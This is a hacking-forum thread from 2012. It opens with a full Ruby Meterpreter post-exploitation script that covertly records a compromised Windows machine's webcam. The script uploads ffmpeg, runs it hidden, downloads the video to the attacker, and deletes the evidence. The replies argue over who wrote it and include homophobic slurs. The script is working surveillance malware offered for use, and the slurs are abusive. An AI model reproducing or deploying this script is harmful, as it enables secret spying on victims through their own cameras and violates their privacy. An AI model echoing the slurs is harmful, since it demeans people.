EvilZone

Programming and Scripting => Scripting Languages => : kenjoe41 December 19, 2012, 01:03:34 PM

: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
: kenjoe41 December 19, 2012, 01:03:34 PM
script a friend of mine gave me because i don't do ruby yet. thought i would share it here.

: (ruby)
# Webcam Recorder Meterpreter  Script
# Recorder idea  by Jake Johnstone    aka. Sud0x3

session = client
host,port = session.tunnel_peer.split(':')
#Menu-Options
@@exec_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help menu." ],
    "-t" => [ true,  "Time limit in seconds.( 01 to 60 )" ])
def usage
    print_line("Webcam Recorder Meterpreter ")
    print_line("###################################################")
    print_line("Usage: camrecorder -t <time> ")
    print(@@exec_opts.usage)
    raise Rex::Script::Completed
end
#Files to upload to target host
ffmpegexe = File.join(<acronym title="Metasploit Framework">Msf</acronym>::Config.install_root, "data", "upload.exe")
#Function to upload files
def upload(session,file)
    location = session.fs.file.expand_path("%TEMP%")
    fileontrgt = "#{location}\\upload.exe"
    print_status("Uploading Self Extracting Archive ...")
    session.fs.file.upload_file("#{fileontrgt}","#{file}")
    print_status("Upload Complete ...")
    return fileontrgt
end
#Capture video from webcam
def camrec(client,session,time)
    location = session.fs.file.expand_path("%TEMP%")
    print_status("Extracting ...")
    session.sys.process.execute("cmd /c ""#{location}\\upload.exe", nil,{'Hidden' => true,'Channelized' => false})
    sleep 5
    print_status("Starting Capture of #{time}'s...")
    session.sys.process.execute("cmd.exe /c #{location}\\ffmpeg -f vfwcap -r 20 -v 10 -i 0 -t 00:00:#{time} #{location}//output.avi", nil,{'Hidden' => true,'Channelized' => false})
end
#Download Output File
def download(session)
    location = session.fs.file.expand_path("%TEMP%")
    print_status("Downloading Capture ...")
    fileontrgt = "#{location}\\output.avi"
    file = "/root#{::File::Separator}capture.avi"
    session.fs.file.download_file(file,fileontrgt)
    print_status("File Downloaded to #{file}")
end
#Deleting left over files
def delfiles(session)
    location = session.fs.file.expand_path("%TEMP%")
    print_status("Deleting Left Over Files ...")
    print_status("Deleting output.avi ...")
    session.sys.process.execute("cmd.exe /c del #{location}\\output.avi", nil, {'Hidden' => true})
    print_status("Deleting ffmpeg.exe ...")
    session.sys.process.execute("cmd.exe /c del #{location}\\ffmpeg.exe", nil, {'Hidden' => true})
     print_status("Deleting upload.exe ...")
    session.sys.process.execute("cmd.exe /c del #{location}\\upload.exe", nil, {'Hidden' => true})
    print_status("All Files Removed ...")
 end
#Menu-Imput
time = 0
@@exec_opts.parse(args) { |opt, idx, val|
    case opt
       when  "-t"
            time = val
       when  "-h"
            usage
        end

}
if time  != 0
upload(session,ffmpegexe)
camrec(client,session,time)
sleep(time.to_i)
download(session)
delfiles(session)
else
usage
end
: Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
: Z3R0 December 19, 2012, 01:23:50 PM
Fucking leechers...I KNEW I've seen this code before. Epic fail for you and your friend. Zero Cold (the guy that actually wrote this script) is a good friend of mine on intern0t. sud0xe may have contributed a line or two, but the overwhelming majority of the work was done by Zero Cold, but good job on being another skiddie faggot. -1

@Everyone else, creds:
:
http://forum.intern0t.org/java-ruby/2044-camsnap-rb-meterpreter-script.html
: Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
: kenjoe41 December 19, 2012, 02:28:15 PM
its not being a skiddie apreciating some one's code and sharing to those who don't knnow it. one thing i've learnt in my coding months is that other people's code actually helps in building one's own view via coding. duuuh.

: Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
: desudesu~ December 19, 2012, 02:41:42 PM
its not being a skiddie apreciating some one's code and sharing to those who don't knnow it. one thing i've learnt in my coding months is that other people's code actually helps in building one's own view via coding. duuuh.

Your friend should probably have referenced the parts of the code he used from this other person. Of course other people's code helps in building one's own - and it is the wonderful part of programming - but original authors deserve references.
: Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
: kenjoe41 December 19, 2012, 02:47:51 PM
Your friend should probably have referenced the parts of the code he used from this other person. Of course other people's code helps in building one's own - and it is the wonderful part of programming - but original authors deserve references.
got that.
: Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
: Z3R0 December 20, 2012, 08:17:21 AM
its not being a skiddie apreciating some one's code and sharing to those who don't knnow it.
No, but it is when you deny the original author credit for his work.
: kenjoe41
one thing i've learnt in my coding months is that other people's code actually helps in building one's own view via coding. duuuh.
Again, nothing wrong with that when you give the original author credit for his work. But when you pass it off as someone else's, that is when you become a script kiddie faggot.
: Re: [ruby]Camrecorder.rb Meterpreter Post Exploitation Script
: Kulverstukas December 20, 2012, 08:41:45 PM
(http://3.bp.blogspot.com/-TJjfVnvp01g/T_rfv4Qh7WI/AAAAAAAAFgU/_U4Ch8CKNlU/s1600/enough+is+enough.gif)

</thread>